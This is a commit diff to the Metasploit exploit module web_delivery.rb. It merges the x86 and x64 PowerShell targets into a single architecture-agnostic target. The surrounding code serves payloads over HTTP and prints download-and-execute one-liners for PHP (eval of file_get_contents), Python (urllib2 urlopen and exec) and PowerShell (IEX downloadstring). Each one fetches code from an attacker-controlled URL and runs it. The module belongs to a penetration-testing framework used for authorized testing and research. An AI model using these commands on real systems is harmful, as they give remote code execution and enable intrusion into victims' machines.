Fix and be Architecture Agnostic

Author: Meatballs1

modules/exploits/multi/script/web_delivery.rb

@@ -55,13 +55,9 @@ def initialize(info = {})
             'Platform' => 'php',
             'Arch' => ARCH_PHP
           }],
-          ['PSH_x86', {
+          ['PSH', {
             'Platform' => 'win',
-            'Arch' => ARCH_X86
-          }],
-          ['PSH_x64', {
-            'Platform' => 'win',
-            'Arch' => ARCH_X86_64
+            'Arch' => [ARCH_X86, ARCH_X86_64]
           }]
         ],
       'DefaultTarget'  => 0,
@@ -72,7 +68,11 @@ def initialize(info = {})
   def on_request_uri(cli, _request)
     print_status('Delivering Payload')
     if target.name.include? 'PSH'
-      data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
+      data = cmd_psh_payload(payload.encoded,
+                             payload_instance.arch.first,
+                             remove_comspec: true,
+                             use_single_quotes: true
+                           )
     else
       data = %Q(#{payload.encoded} )
     end
@@ -87,7 +87,7 @@ def primer
       print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
     when 'Python'
       print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
-    when 'PSH_x86', 'PSH_x64'
+    when 'PSH'
       download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
       print_line generate_psh_command_line(
                                              noprofile: true,